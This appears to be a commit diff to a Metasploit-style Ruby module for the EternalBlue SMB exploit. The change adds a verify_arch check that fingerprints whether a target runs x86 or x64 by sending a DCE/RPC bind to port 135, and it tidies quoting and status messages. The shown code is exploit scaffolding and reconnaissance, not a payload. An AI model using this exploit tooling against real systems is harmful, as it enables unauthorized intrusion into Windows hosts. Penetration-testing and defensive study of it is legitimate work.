@@ -153,12 +153,13 @@ def smb_eternalblue(process_name, grooms)
153
153
client , tree , sock , os = smb1_anonymous_connect_ipc ( )
154
154
print_good ( "Connection established for exploitation." )
155
155
156
- if not verify_target ( os )
157
- raise EternalBlueError , " Unable to continue with improper OS Target."
156
+ if ! verify_target ( os )
157
+ raise EternalBlueError , ' Unable to continue with improper OS Target.'
158
158
end
159
159
160
- #if not verify_arch
161
- #end
160
+ if !verify_arch
161
+ raise EternalBlueError , 'Unable to continue with improper OS Arch.'
162
+ end
162
163
163
164
print_status ( "Trying exploit with #{ grooms } Groom Allocations." )
164
165
@@ -235,10 +236,10 @@ def verify_target(os)
235
236
end
236
237
237
238
if ret
238
- print_status ( " Target OS selected valid for OS indicated by SMB reply" )
239
+ print_good ( ' Target OS selected valid for OS indicated by SMB reply' )
239
240
else
240
- print_warning ( " Target OS selected not valid for OS indicated by SMB reply" )
241
- print_warning ( " Disable VerifyTarget option to proceed manually..." )
241
+ print_warning ( ' Target OS selected not valid for OS indicated by SMB reply' )
242
+ print_warning ( ' Disable VerifyTarget option to proceed manually...' )
242
243
end
243
244
end
244
245
@@ -248,6 +249,67 @@ def verify_target(os)
248
249
return ret
249
250
end
250
251
252
+ # https://github.com/CoreSecurity/impacket/blob/master/examples/getArch.py
253
+ # https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53
254
+ def verify_arch
255
+ ret = false
256
+
257
+ return true if !datastore [ 'VerifyArch' ]
258
+
259
+ pkt = Rex ::Proto ::DCERPC ::Packet . make_bind (
260
+ # Abstract Syntax: EPMv4 V3.0
261
+ 'e1af8308-5d1f-11c9-91a4-08002b14a0fa' , '3.0' ,
262
+ # Transfer Syntax[1]: 64bit NDR V1
263
+ '71710533-beba-4937-8319-b5dbef9ccc36' , '1.0'
264
+ ) . first
265
+
266
+ sock = connect ( false ,
267
+ 'RHOST' => rhost ,
268
+ 'RPORT' => 135
269
+ )
270
+
271
+ sock . put ( pkt )
272
+
273
+ begin
274
+ res = sock . get_once ( 60 )
275
+ rescue EOFError
276
+ print_error ( 'DCE/RPC socket returned EOFError' )
277
+ return false
278
+ end
279
+
280
+ disconnect ( sock )
281
+
282
+ begin
283
+ resp = Rex ::Proto ::DCERPC ::Response . new ( res )
284
+ rescue Rex ::Proto ::DCERPC ::Exceptions ::InvalidPacket => e
285
+ print_error ( e . to_s )
286
+ return false
287
+ end
288
+
289
+ case target_arch . first
290
+ when ARCH_X64
291
+ # Ack result: Acceptance (0)
292
+ if resp . ack_result . first == 0
293
+ ret = true
294
+ end
295
+ when ARCH_X86
296
+ # Ack result: Provider rejection (2)
297
+ # Ack reason: Proposed transfer syntaxes not supported (2)
298
+ if resp . ack_result . first == 2 && resp . ack_reason . first == 2
299
+ ret = true
300
+ end
301
+ end
302
+
303
+ if ret
304
+ print_good ( 'Target arch selected valid for OS indicated by DCE/RPC reply' )
305
+ else
306
+ print_warning ( 'Target arch selected not valid for OS indicated by DCE/RPC reply' )
307
+ print_warning ( 'Disable VerifyArch option to proceed manually...' )
308
+ end
309
+
310
+ ret
311
+ end
312
+
251
313
def print_core_buffer ( os )
252
314
print_status ( "CORE raw buffer dump (#{ os . length . to_s } bytes)" )
253
315
0 commit comments